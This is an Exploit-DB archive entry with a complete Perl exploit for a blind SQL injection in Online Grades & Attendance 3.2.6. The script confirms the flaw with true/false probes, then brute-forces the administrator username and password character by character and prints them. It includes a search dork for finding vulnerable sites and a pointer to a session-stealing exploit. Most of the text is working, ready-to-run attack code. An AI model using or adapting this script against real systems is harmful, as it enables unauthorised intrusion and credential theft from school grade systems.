标题: Online Grades & Attendance 3.2.6 - Blind SQL Injection EDB-ID: 8854 CVE: 2009-2598 类型: WEBAPPS 平台: PHP 发布日期: 2009-06-02 漏洞利用脚本: #!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#**                        **
#**                   **
#**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
#**     || || ||  []        [][]   []   []  []     []   []      [] []   []   []    []    **
#   [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
#**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
#**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
#**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
#   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    
#**                                             **
#**                     **
#**                          Â¡VIVA SPAIN!...Â¡GANAREMOS EL MUNDIAL!...o.O                      **
#**       Â¡PROUD TO BE SPANISH!                               **
#**                 **
#***********************************************************************************************
#***********************************************************************************************
#
#----------------------------------------------------------------------------------------------
#|                            (Post Form --> 'cc') Blind (SQLi) EXPLOIT                       |
#|--------------------------------------------------------------------------------------------|
#|                           |    Online Grades & Attendance v-3.2.6   |        |
#|  CMS INFORMATION:          -----------------------------------------                       |
#|                        |
#|-->WEB: http://www.onlinegrades.org/                      |
#|-->DOWNLOAD: http://www.onlinegrades.org/                            |
#|-->DEMO: http://www.onlinegrades.org/demo_info           |
#|-->CATEGORY: CMS / Education              |
#|-->DESCRIPTION: Online Grades is based on the project, Basmati. It has all of the same      |
#|  features plus many new features. OG is a web based grade...        |
#|-->RELEASED: 2009-02-05              |
#|                 |
#|  CMS VULNERABILITY:               |
#|                 |
#|-->TESTED ON: firefox 3                            |
#|-->DORK: "Powered by Online Grades"                    |
#|-->CATEGORY: BLIND SQL INJECTION EXPLOIT                   |
#|-->AFFECT VERSION: <= 3.2.6               |
#|-->Discovered Bug date: 2009-05-21             |
#|-->Reported Bug date: 2009-05-21             |
#|-->Fixed bug date: Not fixed              |
#|-->Info patch: Not fixed                     |
#|-->Author: YEnH4ckEr               |
#|-->mail: y3nh4ck3r[at]gmail[dot]com             |
#|-->WEB/BLOG: N/A               |
#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.       |
#|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)        |
#----------------------------------------------------------------------------------------------
#
#------------
#CONDITIONS:
#------------
#
#gpc_magic_quotes=OFF
#
#-------
#NEED:
#-------
#
#Valid registered parent (PHPSESSID) (Use parent stealer --> http://www.milw0rm.com/exploits/8843)
#
#Used this post info --> TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101
#
#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------
#
#POST http://www.onlinegrades.org/demo/parents/parents.php?func=showteachermemo HTTP/1.1
#Host: www.onlinegrades.org
#User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 Paros/3.2.13
#Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
#Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
#Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
#Keep-Alive: 300
#Proxy-Connection: keep-alive
#Referer: http://www.onlinegrades.org/demo/parents/parents.php?func=showreportcard
#Cookie: SESS82c464aff4a6373c38ca1d81df10661e=li1lag4844furho010a5ok8uq7; PHPSESSID=2ofepluotebqj7qu009qskaeg7
#Content-Type: application/x-www-form-urlencoded
#Content-length: 72
#TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101'+AND+1=1# --> TRUE
#TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101'+AND+1=0# --> FALSE
#
##############################################################################
##############################################################################
##**************************************************************************##
##  SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!         ##
##**************************************************************************##
##--------------------------------------------------------------------------##
##**************************************************************************##
## GREETZ TO: JosS, Ulises2k, J.McCray, Evil1 and Spanish Hack3Rs community!##
##**************************************************************************##
##############################################################################
##############################################################################
#
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
 my $SO = $^O;
 my $linux = "";
 if (index(lc($SO),"win")!=-1){
  $linux="0";
 }else{
  $linux="1";
 }  
 if($linux){
  system("clear");
 }
 else{
  system("cls");
  system ("title Online Grades Attendance v-3.2.6 Blind SQL Injection Exploit");
  system ("color 04");
 }
}
sub request {
 my $userag = LWP::UserAgent->new;
 $userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
 if($_[2] eq "post"){
  $request = HTTP::Request -> new(POST => $_[0]);
  $request->referer($_[0]);
  $request->header(cookie => "PHPSESSID=".$_[3]);
  $request->content_type('application/x-www-form-urlencoded');
  $request->content($_[1]);
 }else{
  $request = HTTP::Request -> new(GET => $_[0]);
 }
 my $outcode= $userag->request($request)->as_string;
 #print $outcode; #--> Active this line for debugger mode
 return $outcode;
}
sub error {
print "\t------------------------------------------------------------\n";
 print "\tWeb isn't vulnerable!\n\n";
 print "\t--->Maybe:\n\n";
 print "\t\t1.-Patched.\n";
 print "\t\t2.-Bad path or host.\n";
 print "\t\t3.-Bad PHPSESSID value.\n";
 print "\t\t4.-Bad POST value.\n";
 print "\t\tEXPLOIT FAILED!\n";
 print "\t------------------------------------------------------------\n";
}
sub errormagicquotes {
print "\t------------------------------------------------------------\n";
 print "\tWeb isn't vulnerable!\n\n";
 print "\t\tRaison--> Magic quotes ON.\n";
 print "\t\tEXPLOIT FAILED!\n";
 print "\t------------------------------------------------------------\n";
}
sub testedblindsql {
 print "\t-----------------------------------------------------------------\n";
 print "\tWEB MAYBE BE VULNERABLE!\n\n";
 print "\tTested Blind SQL Injection.\n";  
 print "\tStarting exploit...\n"; 
 print "\t-----------------------------------------------------------------\n\n";
}

sub helper {
 print "\n\t[!!!] Online Grades & Attendance <= v-3.2.6 Blind SQLi Exploit\n";
 print "\t[!!!] USAGE MODE: [!!!]\n";
 print "\t[!!!] perl $0 [HOST] [PATH] [PHPSESSID] [POST]\n";
 print "\t[!!!] [HOST]: Web.\n";
 print "\t[!!!] [PATH]: Home Path.\n";
 print "\t[!!!] [PHPSESSID]: Set PHPSESSID value\n";
 print "\t[!!!] [POST]: Set POST value\n";
 print "\t[!!!] Example: perl $0 'www.onlinegrades.org' 'demo' 'ej67dt4jdjd57fdv6fkvqquh05' 'TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101' \n";
}
sub brute_length{
#Column length
$exit=0;
$i=0;
while($exit==0){
 my $blindsql=$_[2]."'+AND+(SELECT+length(".$_[1].")+FROM+ADMINS+WHERE+id=1)=".$i++."#"; #injected code
 $output=&request($_[0],$blindsql,'post',$_[3]);
 if($output !~ (/Can't get Memo info for Course Code/)){
  $exit=1;
 }else{
  $exit=0;
 }
 #This is the max length of client_id and client_pw
 if($i>80){
 &error;
 exit(1);
 }
}
#Save column length
$length=$i-1;
print "\t<<<<<--------------------------------------------------------->>>>>\n";
print "\tLength catched!\n";
print "\tLength ".$_[1]." --> ".$length."\n";
print "\tWait several minutes...\n";
print "\t<<<<<--------------------------------------------------------->>>>>\n\n";
return $length;
}
sub exploiting {
#Bruteforcing values
$values="";
$k=1;
 $z=45;
 while(($k<=$_[1]) && ($z<=126)){
  my $blindsql=$_[3]."'+AND+ascii(substring((SELECT+".$_[2]."+FROM+ADMINS+WHERE+id=1),".$k.",1))=".$z."#";
  $output=&request($_[0],$blindsql,'post',$_[4]);
  if ($output !~ (/Can't get Memo info for Course Code/))
  {
   $values=$values.chr($z);
   $k++;
   $z=45;
  }
#new char
 $z++; 
 }
return $values;
}
#Main
&lw;
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
print "\t##        Online Grades & Attendance <= v-3.2.6      ##\n\n";
print "\t##           Blind SQL Injection Exploit             ##\n\n"; 
print "\t##       ++Conditions: magic_quotes=OFF              ##\n\n";
print "\t##       ++Needed: Registered parend (PHPSESSID)     ##\n\n";
print "\t##               Author: Y3nh4ck3r                   ##\n\n";
print "\t##      Contact:y3nh4ck3r[at]gmail[dot]com           ##\n\n";
print "\t##            Proud to be Spanish!                   ##\n\n";
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
my $PHPSESSID=$ARGV[2];
my $POST=$ARGV[3];
$numArgs = $#ARGV + 1;
if($numArgs<=3) 
 {
  &helper;
  exit(1); 
 } 
#Build uri
my $finalhost="http://".$host."/".$path."/parents/parents.php?func=showteachermemo";
my $phpinfo="http://".$host."/".$path."/include/phpinfo.php";
#magic quotes on?
$output=&request($phpinfo,0,'get',0);
if($output=~(/\<tr\>\<td class\=\"e\">magic\_quotes\_gpc\<\/td\>\<td class\=\"v\"\>On\<\/td\>\<td class\=\"v\"\>On\<\/td\>\<\/tr\>/)){
 &errormagicquotes;
 exit(1);
}
$finalrequest = $finalhost; 
#Testing blind sql injection
$send_post1=$POST."'+AND+1=0#";
$output1=&request($finalrequest,$send_post1,'post',$PHPSESSID);
$send_post2=$POST."'+AND+1=1#";
$output2=&request($finalrequest,$send_post2,'post',$PHPSESSID);
if ($output1 eq $output2)
{    
 #Not injectable
 &error;
 exit(1); 
}else{ 
 #blind sql injection is available
 &testedblindsql;
}
#Bruteforcing length
$length_user=&brute_length($finalrequest,'client_id',$POST,$PHPSESSID); 
#Bruteforcing username...
$user=&exploiting($finalrequest,$length_user,'client_id',$POST,$PHPSESSID);
#Bruteforcing length
$length_pw=&brute_length($finalrequest,'client_pw',$POST,$PHPSESSID); 
#Bruteforcing password...
$pw=&exploiting($finalrequest,$length_pw,'client_pw',$POST,$PHPSESSID);
#final checking
if((!$user) || (!$pw)){
 &error;
 exit(1);
}
print "\n\t\t*************************************************\n";
print "\t\t*********  EXPLOIT EXECUTED SUCCESSFULLY ********\n";
print "\t\t*************************************************\n\n";
print "\t\tAdmin-username: ".$user."\n";
print "\t\tAdmin-password: ".$pw."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF---------------------->>\n\n";
exit(1);
#Ok...all job done

# milw0rm.com [2009-06-02] URL: https://www.exploit-db.com/exploits/8854